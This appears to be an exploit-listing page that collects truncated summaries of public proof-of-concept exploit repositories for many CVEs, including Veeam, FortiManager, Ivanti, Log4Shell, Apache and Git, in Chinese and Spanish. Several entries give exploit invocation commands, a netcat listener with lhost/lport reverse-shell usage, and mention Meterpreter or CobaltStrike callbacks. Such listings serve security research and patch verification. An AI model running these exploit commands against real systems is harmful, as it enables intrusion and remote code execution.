CVE-2024-40711

CVE-2024-40711 Veeam Backup & Replication 预认证反序列化漏洞 CVE-2024-40711 的利用程序 技术细节请参阅我们的博客文章 https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70 PoC 演示 root@kitploit: CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://192.168.201.1:8000/trigger --targetveeam...

CVE-2024-27130

CVE-2024-27130 Una prueba de concepto desarrollada por @watchTowr para explotar una vulnerabilidad de desbordamiento de pila stack overflow y obtener RCE en un dispositivo QNAP vulnerable. Sigue al equipo de laboratorios de watchTowr para nuestra investigación de seguridad...

Fortijump-Exploit-CVE-2024-47575

CVE-2024-47575 Fortinet FortiManager 未经身份验证的远程代码执行，又名 FortiJump CVE-2024-47575 查看我们的博客文章了解技术细节 首先，建立你的 ncat 会话： root@kitploit: nc -lvvnp 80 然后，执行我们的检测产物生成器： root@kitploit: python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action exploit 仅检查漏洞时，使用以下选项： root@kitploi...

CVE-2025-0282

CVE-2025-0282 Ivanti Connect Secure IFT TLS 堆栈溢出预认证远程代码执行（RCE）（CVE-2025-0282） 此代码被刻意以非平凡的方式破坏，需要按照我们之前在利用技术博客文章中概述的方法付出努力才能使其正常工作。 要了解此漏洞，可以查看我们的技术文章。 利用演练与技术 - Ivanti Connect Secure RCE（CVE-2025-0282） PoC 该代码以两种模式运行： 1. 正常模式 2. 利用模式...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 是一个广泛被利用的漏洞，出现在 CISA 的 KEV 列表中。该 Go 语言实现的利用工具可以通过 Nashorn 有效载荷在目标上执行反向 shell，或者下载二进制文件到目标并执行。 编译 将利用工具构建到一个 Docker 镜像中，只需： root@kitploit: make docker 如果你手头有 Go 编译环境，也可以直接使用 make： root@kitploit: albinolobster@mournland:/cve-2023-46604$ make gofmt -d -w...

CVE-2025-49844

CVE-2025-49844 – Redis Lua 解析器释放后使用 Lua chunk 名称的 GC 竞争条件导致 Redis 8.2.1 释放后使用及远程代码执行。 概述 Redis 内嵌 Lua 5.1 用于脚本执行。在 8.2.1 及之前的版本中，luaYparser 函数在调用词法分析器之前，并未将 chunk 名称字符串锚定在 Lua 栈上。恶意构造的脚本可在解析器仍引用已释放字符串时触发垃圾回收，从而产生释放后使用（UAF），导致原生代码执行。 环境 Redis 服务器 8.2.1（或 8.2.2 之前任意受影响版本） redis-cli 可本地网络访问 Redis 实例...

CVE-2015-1635-POC

CVE-2015-1635-POC、MS15-034 HTTP.sys HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序，为了优化IIS服务器性能，从IIS6.0引入，IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞 CVE-2015-1635-POC.py可指定IP/域名、端口进行漏洞验证 POC使用方法：python3 CVE-2015-1635-POC.py -i ip/domain -p port root@kitploit: Usage: python3...

CVE-2017-1000353

CVE-2017-1000353 POC 如何复现 Jenkins CVE-2017-1000353？ 克隆此仓库，使用预先构建的 payload jenkinspoc.ser 运行以下命令： root@kitploit: python exploit.py http://your-ip:8080 jenkinspoc.ser 然后会执行 touch /tmp/success。 Java 版本要求 重要 ：payload 的生成依赖于 Java 版本。已在 openjdk:8u292 上成功测试。其他 Java 版本可能无法正常生成 payload 并进行利用。 如何生成 payload...

CVE-2024-37084

CVE-2024-37084 Spring Cloud 远程代码执行...

log4shell-test-exploit

CVE-2021-44228 log4shell 漏洞测试利用 准备工作 root@kitploit: 安装 Nodejs HTTP 服务器 npm -g i http-server 构建受害应用 cd victim-app mvn install 编译木马 cd test-trojan javac Trojan.java 构建 marshalsec（需要 Java 8） git clone [email protected]:mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests 构建...

cve-2021-41773

Apache 2.4.49 - 路径遍历或远程代码执行 cve-2021-41773.py 是一个 Python 脚本，用于检测 Apache 2.4.49 中的路径遍历或远程代码执行漏洞。提供了易受攻击的 Docker 实例，让您亲身体验 CVE-2021-41773 如果 CGI-BIN 已启用，则可以执行远程代码执行（而非路径遍历），因此 在 httpd.conf 的 Alias 部分中添加了 "icons" 目录，用于检测路径遍历漏洞。 httpd.conf 中的易受攻击配置 root@kitploit: 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons"...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / Exploit RCE de 0-Click Autor: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 Este repositorio contiene un exploit de prueba de concepto para CVE-2024-51793, una vulnerabilidad de subida de archivos arbitrarios sin autenticación en un plugin de WordPress...

cve-2021-42013

Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，可帮助发现 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。我们提供了存在漏洞的 Docker 实例，方便您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，则可以执行远程代码执行，但无法进行路径遍历，因此我们在 httpd.conf 的 Alias 部分下添加了 "icons" 目录，用于检查路径遍历漏洞。 httpd.conf 中的易受攻击配置 root@kitploit: 1. Enable CGI-BIN 2. Add "icon...

CVE-2019-19781-CitrixRCE

Atacante de Ejecución Remota de Código no Autorizada en Citrix - CVE-2019-19781 Referencias: https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/ Evasión: 1 - Scripts eliminados/modificados en: /vpn/../vpns/portal/scripts/ 2 - Problemas de barra diagonal "/"...

CVE-2019-2729

CVE-2019-2729 Código de exploit para CVE-2019-2729 Oracle Weblogic ejecutándose en Windows. Puede crear una callback a un listener de CobaltStrike o un handler de Metasploit con el payload windows/meterpreter/reversetcp También hay un exploit no-beacon que simplemente ejecuta comandos en el host...

CVE-2023-46805

标题：CVE-2023-46805 的概念验证（PoC）- 仅供教育用途 许可协议： 本作品依据知识共享署名 4.0 国际许可协议（CC BY 4.0）发布。只要适当标注作者署名，您就可以自由分享、复制、分发和传播本作品，或将其改编用于其他目的。 免责声明： 本概念验证（PoC）仅供教育和网络安全研究之用。作者、所属组织以及参与创建、制作或交付本内容的任何其他方均不对因使用或无法使用本内容而产生的任何损害承担责任，包括但不限于直接、间接、偶然、特殊、连带或惩罚性损害。 教育目标： 本 PoC 旨在帮助网络安全社区理解和缓解编号为 CVE-2023-46805...

CVE-2021-34481

CVE-2021-34481 Verificar parche para CVE-2021-34481 Vulnerabilidad de ejecución remota de código en Print Spooler de Windows https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481...

CVE-2022-47966-Scan

CVE-2022-47966 扫描器 关于 CVE-2022-47966 是一个严重的未经身份验证的远程代码执行漏洞，影响了至少 24 款本地部署的 ManageEngine 产品。该漏洞仅在启用 SAML SSO 时适用。对于部分产品，如果之前启用过 SAML SSO 也同样适用。 时间线 CVE-2022-47966 由 Viettel Cyber Security 的 Khoadha 发现，似乎已在 2022 年 10 月针对受影响产品进行了修补。该漏洞存在于所有受影响应用使用的第三方库 Apache Santuario 中。 然而，ManageEngine 直到 2023 年 1...

CVE-2022-27925-PoC

CVE-2022-27925-PoC Zimbra RCE 简单 PoC...

CVE-2024-32002-hook

CVE-2024-32002-hook CVE-2024-32002 是一个 Git 远程代码执行（RCE）漏洞。此工具是一个自动化概念验证（PoC），用于演示该漏洞。它利用 git clone 过程中对符号链接（symlink）和子模块（submodule）的不当处理。 ✨ 特性 自动创建恶意仓库（malicious repository） 通过符号链接执行任意代码 支持自定义 payload 清晰的输出信息提示 📋 前提条件 Git 版本 = 2.45.1 或 2.45.0 以下（存在漏洞的版本） Linux 或 macOS Python 3.x 🛠 安装 克隆此仓库：...